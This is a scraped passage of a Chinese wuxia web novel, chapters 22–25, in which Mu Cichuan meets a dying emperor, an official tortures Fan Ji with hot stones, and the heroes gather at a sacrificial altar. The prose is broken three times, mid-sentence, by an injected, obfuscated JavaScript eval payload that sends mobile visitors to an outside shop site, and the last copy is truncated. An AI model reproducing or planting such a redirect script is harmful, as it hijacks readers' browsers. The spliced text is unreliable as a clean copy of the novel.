又不知过了多久,牛车停下,穆辞川眼前一亮,见莲花已经撤去,一团香雾涌进了盆里,云开雾散,慢慢显出一个谪仙般的人。 是个男人,身姿笔挺,眉目泠然,好像一座落了雪的青山。他穿着一副亮银的薄甲,握着杆月白的陌刀,向车上的人叉手道:“神策军卫子湛。请两位侠士下车。” 车外也是个仙境般的地方,白雾弥漫。两人跟着卫子湛穿过雾气,走进殿宇,才看到面前是一口硕大的汉白玉浴池。一架金漆的屏风跨在池上,将它一分左右,左侧站着一对仙姑般的宫女,右侧则站着两个极清俊的小太监。 卫子湛说:“请沐浴。请更衣。” 说完,他就首先穿过浴堂,去殿后等候了。穆辞川和江南雀还没有反应过来,便已被宫女与太监一左一右地迎到浴池边。 两人一男一女,只隔一道屏风,身边又有外人,谁都不好意思脱衣服。江南雀道:“我、我不在这儿洗澡!” 伺候她的太监笑道:“姑娘冰肌玉骨,不染纤尘,只净面盥手,也是可以的。” 另一个搬来把胡床道:“奴婢来替姑娘梳头。” 一个梳头,一个捏手。江南雀被两个漂亮太监照顾得舒服起来。穆辞川隔着屏风察觉,赶紧对自己身旁的宫女说:“我也不脏的!” 他忍不住低头看了一眼自己身上褴褛的破衣,接着说:“就是有些浮土……你们找个掸子来,我自己掸掸就好了……!” 话没说完,他便被里外脱个干净,一把丢进了浴池。 宫女们也穿着襦裙凫进水里,替穆辞川擦身,羞得他满脸通红。一个宫女娇声道:“公子请摘下面铠来。” “不……”穆辞川刚要拦,面铠就已被宫女的一双酥手抹去了。 “咚”的一声,面铠落到水底。浴堂之内,随即传出一声尖叫。 22. 哪儿来的新娘子? 发出尖叫的是那对宫女。卫子湛在门外听见动静,凉声问:“怎么了。” 宫女们指着穆辞川叫道:“他、他的脸!” 穆辞川的脸就倒映在温热的浴水里,水纹在那张面颊上浮动,好像疤痕中流出的血。十二年前,他逃出雍京城的那一日,就是这样流着满脸的血。 他永远忘不了那一日的景象:天有异动,皇帝驾崩。当朝太师领兵来到大理狱,像拖一条小狗一般,把他拖出来,指认为祸国丧门的灾星,命人割碎他的面目以谢天地。 刀光像是盛夏的暴雨,打湿了他的脸。他看到阿姊赶过来,拔出了她那对一黑一白的剑。 他的命是阿姊救下来的,他的伤是阿姊治好的,就连他那只漂亮的兽首面铠,也是在逃到幽州之后,阿姊熔掉了自己的白剑,替他铸成的。 他从那一日开始学剑,也是从那一日起,他下定决心要永远保护他的阿姊。 穆辞川几乎颤抖着从池底捡起面铠,按在脸上,沉声道:“我面貌丑陋,吓到两位姑姑了。” 卫子湛沉默了一会儿,淡淡地发话道:“撤去铁铠,改用锦缎覆面。” 两个宫女于是找来一只莲花纹帕子,盖在穆辞川头上,才又小心翼翼地重新摘下面铠。又给他擦干身体,换上崭新的宫衣,搀扶着走出屏风。 屏风的另一侧,江南雀也红光满面地走了出来。她瞥了穆辞川一眼,不禁大笑道:“这是哪里来的新娘子?” 卫子湛听见他们收拾完毕,便从殿后绕出来,看到穆辞川时,也略愣了愣,随而正色道:“两位,请随我向前。” 穆辞川道:“等我带上剑。” 他的剑已和旧衣、面铠一起,被宫女收走了。卫子湛握着陌刀说:“面见天子,除神策军士外,一律不可携带兵刃。” 他们果然是要去见皇上。 穆辞川只好空着手跟上卫子湛步伐。 浴堂之后,是一座更大的浴堂。汉白玉筑成的屋墙,照映得殿内亮如白昼。这里的浴池宽阔得像河,池里还浮动着几十朵嫣红的莲花。 一对最艳丽的并蒂莲后面,坐着一个苍白的男人。他背对着殿门,干枯的长发铺在水面上,叫他的人看上去就像是水中生长出的一颗残荷。 他就是天子,就是大雍的王?这人间万事,穆月出的下落、裴令君的血案、旧年天降的灾星,是否都在他的股掌之间? 卫子湛轻声吩咐道:“请跪下。” 穆辞川和江南雀就都跪在白玉的石阶下面,看着卫子湛趋步上前,在浴池边低声道:“陛下,人已带到了。” 天子的长发抖了抖,似欲说话,可还没开口,就先剧烈地咳嗽起来,仿佛荷叶被风雨吹打。 待咳完了,他才缓缓地说:“穆月出如今就在蓬莱宫里。” 穆辞川的眼睛立刻亮了亮,他瞥见江南雀也已抬起头来,盯着皇帝的背影。 天子接着说:“你们很快就能见到她的。” “因为她很快就要来刺杀朕。” 刀光忽然一闪! 是陌刀。 刀长逾丈,两面开锋。当此刀者,人马俱断。 世上善于用这种刀的人并不多,卫子湛却一定是其中的翘楚。他的刀就像一条苍龙,疾风骤雨,刺向浴池中的天子。 他要刺驾? 刀光未散。江南雀的人已经飞鸟般掠起,眨眼间便落在刀前,“怦”地一声擒住刀刃,掌风震得刀身铮铮作响。 卫子湛看着她,冷冷地道:“请退下。” 江南雀道:“不退。” 卫子湛便一脚踢上刀镡。陌刀贴地突袭,逼得江南雀连退了两三丈。她调起内力,运掌推刀,勉强卸去刀劲。 卫子湛忽然说:“你可知陌刀的妙法何在。” 江南雀瞅准空当,两步赶了上前,也道:“你知不知道嘉陵功法的精妙何在?” 卫子湛问:“何在。” “在于本姑娘力气大!”江南雀话一出口,双掌已狠狠拍在刀柄上。陌刀刀尾受力,登时像只大鹏鸟一般扶摇旋转,刀尖忽然就劈到了卫子湛眼前。 卫子湛却笑了笑。 “很巧。”他笑着说,“陌刀的精妙,就在化力。” 他的身体骤然向后一掠,伸出双指,在刀柄上轻轻一拨,陌刀便贴着他的鼻梁飞去,盘旋着飞向浴池中的天子。 江南雀怔了怔。她向来只打人,不救人,竟已忘了还要救驾!赶紧伸手去挽刀。可是衣角已被卫子湛单手拧住,挣脱不得,只能眼看着陌刀雷霆般摧向池里的人。 就在利刃即将削掉皇帝的脑袋时,穆辞川握住了陌刀的刀柄。 陌刀本就沉重,旋转起来,力如奔马。穆辞川连人带刀转了五六个圈,手帕在他头上飞舞得像只大花灯。“扑通”一声,他一脚踏进御汤,踩烂了几朵莲花,又割断了几缕龙发,终于把刀停在手里。 刀锋竖在卫子湛胸膛前。 卫子湛三指成锥,也已点在穆辞川的咽喉。 穆辞川尽量不去想身后坐着个光/屁/股的皇上,盯着卫子湛道:“若是切磋,点到即止。” 卫子湛蹙起眉,说:“我看起来像是找你们切磋?” “你是天子近侍,要真想刺王杀驾,有的是机会,不必当着我们的面。”穆辞川收起陌刀,双手横握,递给卫子湛,道,“更何况,若不是你留手,只凭我们两个赤手空拳,拦不住你。” 卫子湛默默地点了点头,接过刀说:“你们若有刀剑,我也并不一定是你们的对手。” 然后他绕过了穆辞川,跪在皇帝身后,道:“惊扰圣驾,请陛下降罪。” 皇帝并未生气,轻笑一声,说:“卫将军是忠烈之后,朕对你最是放心。反倒是那些奸佞之臣、太后党羽,日日搅得朕不得安眠。” 他又咳了一阵,接着道:“试完了?” “禀陛下,试完了。”卫子湛道,“的确是嘉陵派的功夫。” “比起穆月出如何?” 卫子湛沉吟半晌,低声道:“二人联手,或可一战。” 皇帝忽然动了,仿佛秋风吹动一片枯叶。他缓缓地转过了身,露出更多苍白的皮肤,清晰可见其下覆盖着的莲花般嫣红的血管,与荷叶般青绿的筋脉。 他的容貌其实并不丑陋,眉宇间甚至还留有帝王的神威,但是面色枯黄、皮肤皲裂,整个人就像是一副被日月摧碎了肌骨的古画,并不像一个活人。 崔疑若坐在他身边,都可以称得上珠圆玉润、心宽体胖。 雍京的天子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609367|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实在不应该是这样一副破败的样子。 他用那双淤泥般混浊的眼睛看着穆辞川,慢慢道:“穆卿,卫将军说得可对?” 穆辞川道:“不对。” “不对?” 穆辞川说:“我们战不胜阿姊。就算再有十个我、十个雀姑娘,也战不过她。” 卫子湛的神色变得有些难看,他道:“为什么。” 穆辞川道:“因为我们根本就不会出手!” 这世上本就没有许多人肯对自己的姐姐下毒手。江南雀也道:“我会带师姐回嘉陵,离皇宫远远的。陛下就可以不用忧心了。” 皇帝却笑了,仿佛他们刚才说的本就是两句笑话。笑着笑着,他又咳嗽起来,待咳够了,才终于说:“你们不对她出手,她就会对你们出手的。她早已做过了选择。” 三个月前,阿姊离开穆辞川、重回雍京的那一日,是否就已经抛弃了她的弟弟、她的师门? 穆辞川并不喜欢被抛弃。所以他道:“只要见了阿姊的面,总能说清楚的。” 皇帝望了他一眼,从水下探出一双冰凉的手,一手握住他的手腕,另一手将他的盖头掀起一个角。 穆辞川那张年轻的、布满疤痕的脸就露在了他的面前。 “你叫穆辞川,是么?”他看着那些疤,看了很久,才柔声问,“你今年多大了?” 穆辞川被他看得不太自在,低声道:“我没见过父母,记不得生辰。今年大概有二十三四岁。” “朕的皇弟若还活着,也有你这么大。”皇帝说,“你可知道他是怎么死的?” 穆辞川没有答。 皇帝就凉凉地道:“他听信了他老师的话,以为所有人、所有事,都是靠说就可以弄清楚的。现在他已永远都说不了话了。” 他指的是不是那个被裴矫喂下毒药的前朝太子? 皇帝松开了穆辞川的手,转而问卫子湛:“潘公公何在。” 卫子湛道:“潘大人答应了刑部一个姓崔的幕僚,帮他处置沈侍郎,恐怕还要三五日才能回宫。” 皇帝叹了一口气,说:“朕生来时运不济,能苟全至今,多赖潘公公。如今他不在朕身边,母后绝不会放过这个机会。” 卫子湛拧起眉,道:“陛下的意思是,太后近日就要遣穆月出来刺驾。” “朕年纪已长,不肯受人摆布。母后早有心另立新君。她召穆月出回宫,本就为此。”皇帝道,“后日正是寒衣节,朕按例当携百官于城外寰丘烧衣祭祖。远离皇宫,是行刺最好的时机。” 他一气说了不少话,说完之后,又不住咳了起来。 卫子湛的嘴角抖了抖,忽地在白玉砖上磕了一个头,道:“臣悉听陛下安排。” 穆辞川也道:“阿姊若真做错了,我也绝不叫她一错再错。” “有卿如此,朕便安心了。”皇帝轻声道,“卫将军,你趁夜避开宫人,带两位侠士出城去寰丘祭场,守在那里,早做准备,以便后日护驾。” 他顿了顿,又道:“我大雍的江山,就托付在你们三人的手上了。” 从浴堂出来的时候,天光已暗。穆辞川拿回了他的衣物与剑。他重新戴好面铠,眼睑上忽然有一滴凉。 原来是天上下起了雪。 23. “我去上茅厕” 雪不大,薄薄地落在屋檐上,像是给蓬莱宫蒙了一层素纱。 穆辞川似乎忽然想到什么,快步走到卫子湛身边,低声说:“这附近有没有茅厕。” 卫子湛用种奇怪的神情瞧了他一眼:“净房有人值守,不便你用。等出了宫再找地方吧。” 穆辞川面露难色,道:“我实在憋不住了。” 卫子湛道:“你想怎样。” “我是粗人,不讲究这些。”穆辞川指了指远处的宫墙,“就在墙根将就将就,等雪下完,便干净了。” 卫子湛叹了口气,没有别的办法,只好道:“依你。请速去速回,我在这里等着。” 穆辞川于是摆脱了外人,独自溜到宫墙边上。这里的墙根果然也嵌有排水的龙头管,阔约一拃,直通宫外。 他蹲下来,从怀里摸出青兔兵符,塞进水管,又用剑鞘把符推到墙外。 没过半晌,便听水管外有个细细的声音道:“主人……” “小殷!”穆辞川听见殷二十七的声音,心里生喜,赶紧凑到水管边道,“你听着,现在抓紧去打探樊姑娘与沈侍郎的消息,明日子时,我们还以兔符为信,在城外寰丘通话。记住了没有?” “都记住了,主人……”殷二十七轻声答应下来,过了片刻,忽然又道,“主人,我有句话想请主人听……” 穆辞川急道:“有话快说。” 殷二十七却还是沉默了很久,而后才好像终于打定主意一般,在龙头那边说:“宫里有人想要主人的命。” “什么?”穆辞川一愣,“是什么人?为什么要我的命?你是怎么知道的?” “我、我不清楚,也不敢说……”殷二十七颤声道,“只是、只是……主人,切不能让宫里的人看见您的样貌!” 穆辞川心里一震,还要追问,却听见墙外传来一声轻呼。殷二十七道:“有人来了……主人,请您保重……” 话没说完,他的声音便已戛然而止,任凭穆辞川怎么呼唤,再也没有了回答。 雪还在下。 天很冷,侍郎府内却温暖如春。就连沈绣的蜂蜜豆粉元子里,都特意加了一满勺甜冰。 他坐在离炭火很远的地方,鹭娘守在他身边。炭火当然也很旺盛。那其实不是煤炭,而是一笼烧得滚烫的西域火山岩,装在一只五六尺高的湿竹篓里,立于堂中,组成一根热气逼人的岩柱。 樊姬就被绑在这根柱子上。 她浑身的汗水已烤干了,背脊通红,罗衣烙出大大小小的烫洞。 可她还是说:“刑部就只有这点本事么?我卖给你的那些刑具,为什么不一一用上?” 沈绣笑了笑,他的手里捏着一串朱红的东西,那是自樊姬鬓上摘下来的花椒。 他看着花椒,缓缓道:“当年裴令伏罪时,刑部受命查抄尚书台。他的书案上,就摆着一株这样红的花椒,另有一张字条,写的是惟佳人之独怀兮,折若椒以自处。” 他又抬眼望向樊姬,目光比炭石还要炽热:“原来樊老板就是那位佳人。” 樊姬也笑了,朱唇扯破,流出鲜血。她道:“听说沈侍郎与子端也有旧交?” 子端就是裴矫的字。沈绣于是道:“在朝为官,不敢不敬裴令君。” 樊姬又道:“他年纪比你大,是不是?” 沈绣道:“长我几岁。” 樊姬冷笑道:“既然如此,你还不叫我一声嫂夫人?” 沈绣的脸色变了。他站起身,从身旁一只铜鉴里提出一壶冰水,走到樊姬旁边,连水带冰,泼到那一笼火山岩里。 蒸汽腾起,灼得樊姬禁不住发出一声惨叫。 “你难道以为自己配得上他?”沈绣俯下身,直视着樊姬的眼睛,冷声道,“若不是因为你,他便能迎娶前朝公主,看在皇室颜面,或许就不至于定下死罪。还有他那个忘祖背宗的弟弟,你们……” 他的手指将银壶捏得“咯吱吱”直响,几乎是咬着牙道:“你们都比他更该死。” 樊姬的瞳仁忽然缩起来,厉声说:“所以你才不肯放过子慎?你已知道?” “我当然已知道。”沈绣咽下怒气,重新敛起眼睫,站直了身体,“他与他哥哥长得很像。” 他早怀疑过崔疑就是裴矫的胞弟,直至见他翻找裴氏灭门案的卷宗,方可确认。 裴矫已死了。人死不可复生。 崔疑若明白这个道理,就应该乖乖地随他哥哥一起死去,而绝不该自作聪明,编造出些兄长结党营私的证据,以换得自己苟活。 就因为那些伪证,裴氏直到如今不可翻案。 就因为沈绣不信那些伪证,执意追查,才至于触犯太后。一夜之间,刑部三十六位同僚,死得只剩下他一个人。 这些血债理应有人来偿。 崔疑就是这债的主。 樊姬的声音已颤抖,道:“既然如此,还审我干什么?你不如现在就杀了我。” 关在刑部里的人,一向都会求死,却也一向都死不成。 所以沈绣只是道:“樊老板想必已认识穆辞川。” 樊姬瞪着他,不说话。 沈绣接着道:“想必也已经明白,他就是十二年前从大理狱逃走的少年囚犯。” 樊姬说:“这事和他有什么关系,难道子端是因他而死的?” 沈绣冷冷地看了她一眼,道:“这正是我要请教樊老板的。” 樊姬嗤笑一声:“你以为我会知道?” “你应该知道的,至少也应想得到。”沈绣伸出手,把那枝花椒插回樊姬头上,然后轻轻地捧起她乌云般的鬓发,“若实在忘了,刑部也总有办法能让你想得起来。” 他忽地捏紧了樊姬的头发,使劲一推,将那张美艳的脸庞按在火山石上,立刻发出了皮肤灼烧时“吱吱”的声响。 鹭娘在一旁看着,纤细的双眉禁不住微微发皱。 樊姬没有叫,她连一声都没有出。她的半张脸很快烙得如花椒一般鲜红而褶皱,可她仍然死死地瞪着沈绣,一只眼睛被蒸汽烙得浊白。 就在这时,一个人推门走进屋内。 百里邬身上滴着血,一边喘气一边道:“沈大人。” 沈绣这才放开樊姬,转而打量了百里邬一眼,道:“看来你除了追杀别人之外,有时也会被人追着跑。” “那人好像说是哪座山的掌门,打起架来跟个疯狗一样!”百里邬瞥见铜鉴,走过去连灌了两三壶冰水,才接着说,“从东市一路撵过来,太后娘娘拨给的禁军让他砍死了大半,我再不跑,命都要没有了!” 他抹了一把嘴,又道:“大人,拿个主意吧,他这会儿已追到门口了,再让他杀下去,太后娘娘要降罪的。” 未等沈绣回答,鹭娘就忽然快步走起来,她直直地走向房门,说:“我去杀他。” 然后她的腰便被沈绣一把揽进了臂弯里。 沈绣看着她,掌心轻轻地摩挲,低声笑道:“鹭娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609368|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日正值月事,还是不要动粗了。” “你……”鹭娘被他看得几乎怔住,直到沈绣放开手,自己走出了府门,她才终于迅速摸了一遍腰带,然后大声道,“你拿我的钉子干什么?” 侍郎府外,紫夜寒街。 沈绣一出门,便嗅到一股浓烈的血腥气,隔着细碎的雪花,他看见一个人站在这条街的尽头,手里握着一对细剑。 那人的衣衫很碧绿,剑锋上的血却很鲜红。 沈绣向他走去,那个人也同时走了过来。 他们走得都不快,可好像只是一眨眼的功夫,那双春风般柔细的剑就已经架在了沈绣的脖子上。 祝轻尘毕竟还没有杀掉沈绣,因为他看到对方已抬起了手,手里捏着一只冰棱般闪闪发亮的银钉子。 他捏钉子的姿势并不标准,任何通习武艺的人都看得出,这只钉子在他的手里,绝没有半点威力。 但是祝轻尘的神色却忽然变了,几颗细密的汗珠从他的额头渗出来。他开口道:“小鹭?她还活着?” 沈绣笑道:“她活得并不差。” 祝轻尘道:“带我……” “你应知道她现在见不了任何人的。”沈绣打断了他的话,直视着他的双眼,低声说,“保下她的命就已经不容易,你当初未免太狠心了一点。” 祝轻尘没有说话,他的剑还钳在沈绣的脖颈上,眼角的细纹却已在轻轻颤动。 “祝掌门。”沈绣接着道,“我常听小鹭提起,说她师从嘉陵剑派,如今名动天下的剑客穆月出,就是她同宗的师姐。她们当年是一起来雍京的。” 祝轻尘道:“是。” 沈绣的目光变得比剑锋还亮、还冷,他说:“你送她们进蓬莱宫时,就知道她们不能再活着回去。” 祝轻尘咬着牙道:“……是。” 沈绣忽然向前踏了一步,剑刃硌着他颈上的肌肤,他就在祝轻尘的耳边说:“你一直都对不起她们。” 雪落在祝轻尘的鬓发上,他好像已经变成了一个雪人,连动都不能再动了。只听到沈绣又唤:“百里邬。” 他声音不大。侍郎府里却立刻应声冲出来一个戴铜耳罩的青年,站定在他们身后,一双桃花眼死死地盯着祝轻尘手里的剑。 沈绣道:“带樊老板出来。” “大人!……”百里邬叫了一声,不敢抗令,折回府内拖出樊姬,将她丢在祝轻尘身边的雪地里。 祝轻尘还是没有动。 沈绣就笑了:“你这次来,自然是为了救樊老板,如今她就在这里,你为何还不救她走?” 祝轻尘握剑的手在抖。自从他十三岁起每日挥剑万次之后,他的手还从未发抖过。 沈绣笑着说:“你难道还想带走小鹭?” 这句话像是一根细针,刺得祝轻尘长长地泄出一口气,那对双剑像雪花一般,轻轻地从沈绣的肩膀上落了下去。 祝轻尘静默了很久,才哑声道:“当年送她们进宫,是我迫不得已,如有机会,祝某理应赎罪。” 沈绣看着他,细眼中闪出些得意的神色:“我做校书郎时,已故的尚书令裴子端裴大人就教导过我,说刑部掌天下刑法之政令,却不是用来给人定罪的,而正是用来供人赎罪的。” 他牵起祝轻尘的手,把那只银钉放到他的手心里,以一种不容人拒绝的语气慢慢地道: “掌门若肯听我的,我至少还有一种办法,可以让你好好地把小鹭带回嘉陵。” 24. “皇上好像快死了” 寰丘是一座汉白玉的圆坛,直径二三十丈,好像钳在地上的一轮月亮。四周地势空旷,唯有远处若隐若现一片乌黑的松树影子。 穆辞川坐在坛心。 他已经坐了一天一夜了,头顶积了一层厚厚的雪。 江南雀的头上没有雪,因为她一直在走路,这一天内,她已经绕着寰丘走了几百个圈子。 他们都在等。再过一日,这座寰丘上就要举行寒衣节的祭祀大典,穆月出就将作为太后派出的刺客,在那时现身。 想到这里,穆辞川浑身的血都要热起来。 但等待实在熬人。江南雀走着走着,忽然登上了坛心,在穆辞川面前狠狠地一跺脚,道:“你别再坐着了!快站起来,陪我练两招!” 穆辞川看了她一眼,低声说:“这种时候,还是留点力气比较好。” 江南雀怼道:“当心冻僵了手,出了事,连剑都拔不出来。” 她话音没落,松林中就忽然传出一声响,一只飞镖般的东西眨眼间就闪到了他们两人身前。 穆辞川的剑立刻出鞘了,剑光只一晃,就把那个东西掇在地上。 他的手毕竟还没有冻僵。 江南雀愣愣地看着他出剑,而后赶紧解释道:“我刚才就是吓唬你一句,这暗器可不是我安排的啊!” “我知道。”穆辞川把剑挑起来,看到剑尖上挂着的正是青兔铜符,就站起身说,“你在这里守着,我去看看。” 说完,没等江南雀回答,人就已窜入松林。 松影疏乱。穆辞川追了几十步,也没见殷二十七的身影,心里感觉不对,站定叫了声:“小殷?” “主人……”细弱的声音从他头顶上传来。穆辞川一抬头,就看见殷二十七正蜷坐在树枝上,浑身发抖,身后还坐着一个白衣的人。 那人穿着白衣,戴着雪白的帷帽,遮住面孔,手里还握着一枝白羽箭,箭镞正抵在殷二十七纤细的脖子上。 穆辞川的眉蹙起来,冷声道:“什么人。” “主人,快回去……”殷二十七已抖得快要哭出来,颤声道,“是他逼我骗主人来的……” 穆辞川没有动,盯着那白衣人道:“放开他。” 白衣人没有答话,从背后摘下一把长弓,张弓搭箭,瞄准了穆辞川的眉心。 穆辞川眯起了眼睛。 一箭发出,疾逾奔雷。殷二十七惊叫道:“主人小心!” 穆辞川手腕猛地一拧,用剑鞘接住羽箭,发出“叮”的一声响。就这一接,他便清楚那个白衣人的射术虽有准头,力道却不算上乘。于是勾住箭镞,侧身反撩,羽箭又朝着白衣人飞了回去。 一箭射落了那人的帷帽,露出白纱下一张明月般漂亮的脸。 是崔疑。 穆辞川的神色由愤怒变得更加愤怒,冷冷地道:“你什么时候长了这种本事。” “君子六艺,你没听过?”崔疑收起弓箭,朝他笑了笑。 穆辞川道:“戴着顶帽子装神弄鬼,也算君子?” “因为我害怕嘛。”崔疑由殷二十七扶着下了树,坐上轮椅,摇到穆辞川身侧,幽幽地说,“谁让穆大侠已发过话,说什么''此生不必相见'',我又怎么敢不听呢?” 穆辞川低声道:“我为什么那样说,你最清楚。” 崔疑挑眉道:“哦?” 穆辞川回想起小宅里发生的事,道:“你那时当着潘勖的面,故意把银子数量说错,不就是为了提醒我,叫我顺着你的意思做。” “我知道你是怎么想的,你想着,我们吵上一架,才能叫潘勖打消疑虑,放心带我进宫。你也好接着利用我。” 崔疑又笑了,颊边浮出一只浅浅的酒涡。“你变聪明了。”他笑着说,“现在大概有我一半聪明。” 穆辞川翻了一个白眼,不想搭理他。转而用剑鞘捅了捅殷二十七的腰窝,道:“你怎么跟着他一起骗我。” 殷二十七的眼泪一下子又涌到眼眶里:“崔公子说,只有我依着他,他才肯救主人的命……我、我不敢不听他的……” 穆辞川又瞪了崔疑一眼:“我有哪里需要你救命。” “这就是你不如我聪明的那一半了。”崔疑看着他说,“是不是已有人告诉你,明日寒衣节祭祀上,你就能见到你的姐姐?” 穆辞川道:“是圣人陛下亲口对我说的。” 崔疑道:“你已见过皇上?” “亲眼见过。” “他圣体如何?” 穆辞川一下子答不上来。就算是最忠诚的臣子,在见到莲花池里那个面容憔悴的皇上后,都说不出“龙体康健”之类的恭维话。 他想了想,还是道:“看起来快死了。” 崔疑和殷二十七都没有表露出吃惊,显然皇帝的病早已不算个秘密。崔疑淡淡地说:“我若想除掉这样的人,何必找什么天下第一的女杀手,只要等上一年半载,他自己就能熬死自己的。” 穆辞川轻轻皱起眉:“你的意思是,太后明日并不会派人刺驾。” 崔疑道:“不会。” “寒衣节的确是作乱的好时机。圣人怕死,必然竭尽所能请来奇人异士助他保命。”他慢慢地接着说,“这一点,太后当然也想得到。” “我懂了!”穆辞川忽然大声叫道,“太后是要趁这个机会,把圣人的党羽都抓出来!” 崔疑点了点头,凉声道:“你和雀姑娘现在都算是帝党的人了。” “怪不得你要来救我。”穆辞川的脑子这回多转了一个圈,闷闷地说,“若不是你把我送到潘勖手里,我还成不了他们的目标。原来你也知道愧疚。” “啊,那倒不是因为这个。”崔疑冷冷地说,“我不过还有些事想不明白,顺便来弄清楚。喂,那个殷……殷……” 殷二十七站出来说:“崔公子……” 崔疑道:“这里没你的事了,你走吧。” “是……”殷二十七最后看了一眼穆辞川,然后连退几步,随着一阵清风,落花一般消失在松林深处。 “好了。”打发走了殷二十七,崔疑又对穆辞川道,“带我上寰丘去吧。这个时间,那里也该出事了。” 穆辞川一愣:“能出什么事?”可是想到这人说话虽然难听,却从来没有一句不成真的,就赶紧扯着崔疑的轮椅,火急火燎地往松林外冲去。 松林之外,寰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆辞川一下子想起那个当年把小裴九挑在陌刀尖儿上的卫将军,心里一震,生怕崔疑说错了话,赶紧道:“你别乱讲。你那时才几岁,怎么能认识人家叔叔。” “卫将军是昔日羽林卫之首,赤胆忠心,谁不认识。”崔疑的眼神里已经攀上了一些冷意,看着卫子湛道,“他如今还在京城么?如不唐突,晚生还希望登门拜访。” 卫子湛的神色变了变,沉默片刻,才哑声道:“叔父十二年前便已过世了。” “他死了?”崔疑面上先是闪过一丝惊诧,而后又莫名变得有些痛苦。穆辞川知道,他是痛苦于无法手刃灭族的仇敌。 他走过去,轻轻握住崔疑的手。那只手的骨节已经捏得发白。 崔疑的喉咙滚了滚,才又接着道:“他是怎么死的。” 卫子湛紧紧咬着嘴唇,一声不吭。 崔疑蹙起眉:“你是不知道,还是不肯说。” 卫子湛说:“我只知道他死的时候,胸前插着一柄刀。” “什么刀?” 卫子湛再不回答,手臂一抬一落,掌中陌刀钉在祭坛上,发出一声重重的响。 25. 你怎么不说话 “就是这把刀?”穆辞川看着卫子湛,也看着他的陌刀,“这本是你叔叔的刀?” 卫子湛轻叹一声,道:“叔父没有子女,他死后,这把刀就留给了我。” 穆辞川微微一怔,轻声道:“你的刀法,想必已经比他强。” 卫子湛摇了摇头:“纵算再过二十年,我也绝比不过叔父。” 穆辞川不说话了。他见识过卫家的陌刀刀法,因此他才想不出,有什么人能用卫子清的陌刀杀死他自己。 只怕就连阿姊也做不到。 他听见崔疑开口说:“你不想把他的死因弄清楚?” 卫子湛握刀的手颤抖起来。“叔父已入土多年,无人能再说清当时真相。”他的声音嘶哑异常,“我只愿承继卫家遗志,为天子尽忠……” “哼。”他话没说完,崔疑就冷笑了一声。 他笑得不合时宜。穆辞川掐了掐他的手腕,叫他收敛些。 卫子湛也忍不住蹙眉道:“你笑什么。” “我笑你并非不想,只是不肯承认。”崔疑用那双毫无光彩的眼睛看着卫子湛,道,“你既然官在朝堂,想必就也听说过,刑部近些年有一样烹骨验尸的手法,不管是死了多少年的尸体,只要骨殖尚存,就还能找出线索。” 卫子湛道:“你、你到底要说什么。” 崔疑慢慢地道:“卫子清的死因,这世上还有人知道的。” 卫子湛动容如同雪山崩塌,追问道:“是什么人。” “反正不是死人。” 答话的不是崔疑,也不是穆辞川。他们都同时回过头去,看见一个绿衫的男人已经静静地站在祭坛脚下。 祝轻尘笑着望着他们,怀里还抱着一个罗衣的姑娘。 穆辞川惊呼道:“樊姑娘!” 他一个箭步冲下寰丘,从祝轻尘的怀里将樊姬抱过来。女子身躯仍然温热,让他稍稍松了一口气。 他看见樊姬还昏迷着,头颈斜偏,黑发滑落,露出半张被火炭灼得赤红发皱的脸。 这张脸在两日前还一笑倾城,如今已让人不忍心多看一眼。 穆辞川的手发起抖来:“……是沈绣?” “他下手狠毒,祝某已尽所能。”祝轻尘轻声道,“抱歉。” “掌门不必道歉。”穆辞川沉沉地说着,将樊姬抱到最近的一株松树后。他把她放在树下,从怀里掏出几颗大风丸,又摘下兔符,一起摆在她身边。 然后他退远几步,道:“小殷,送樊姑娘去城里的医馆看伤。” 松叶摇晃,眨眼之间,树后已没有了樊姬的身影。 穆辞川又走回崔疑身边,沉吟半晌,才说:“……脸上有疤,其实也没什么的。她至少还活着。” 崔疑低着头。他显然早已看见樊姬的伤势,五指紧紧地攥着轮椅的酸枝木,不知在想什么。忽然他开口说:“活着也未必就比死了好。” “这叫什么话?”穆辞川立刻大声道,“活着当然好!不管到什么时候,活着就是比死了强!” “说得不假。”祝轻尘也在卫子湛的注视下走上了寰丘,他还在微笑着,只是目光好像已有了淡淡的悲伤,“祝某实在也不愿任何一个爱徒再赴死了。” “所以你带走了雀姑娘。”卫子湛忽然道,“你就是嘉陵派的祝掌门?” 祝轻尘笑道:“微名何足挂齿。不知阁下是……” “神策军卫子湛,奉皇命携两位大侠戍守寰丘。”卫子湛向他拱了拱手,凉凉地说,“掌门把人带走,至少要给我一个交代吧。” 祝轻尘没有立刻回答。他先是摘下腰间的酒囊,灌了一大口清酒,又把酒囊挂回蹀躞带上。 他的剑与酒囊分挂在腰带两侧,离得并不近。穆辞川也并没有看到他的手伸向剑柄。可他再一抬头时,那其中一柄细剑就已经抵在卫子湛心口处的甲缝里。 这时候,卫子湛的陌刀刚刚举起半尺,穆辞川的剑也才拔出了二寸。 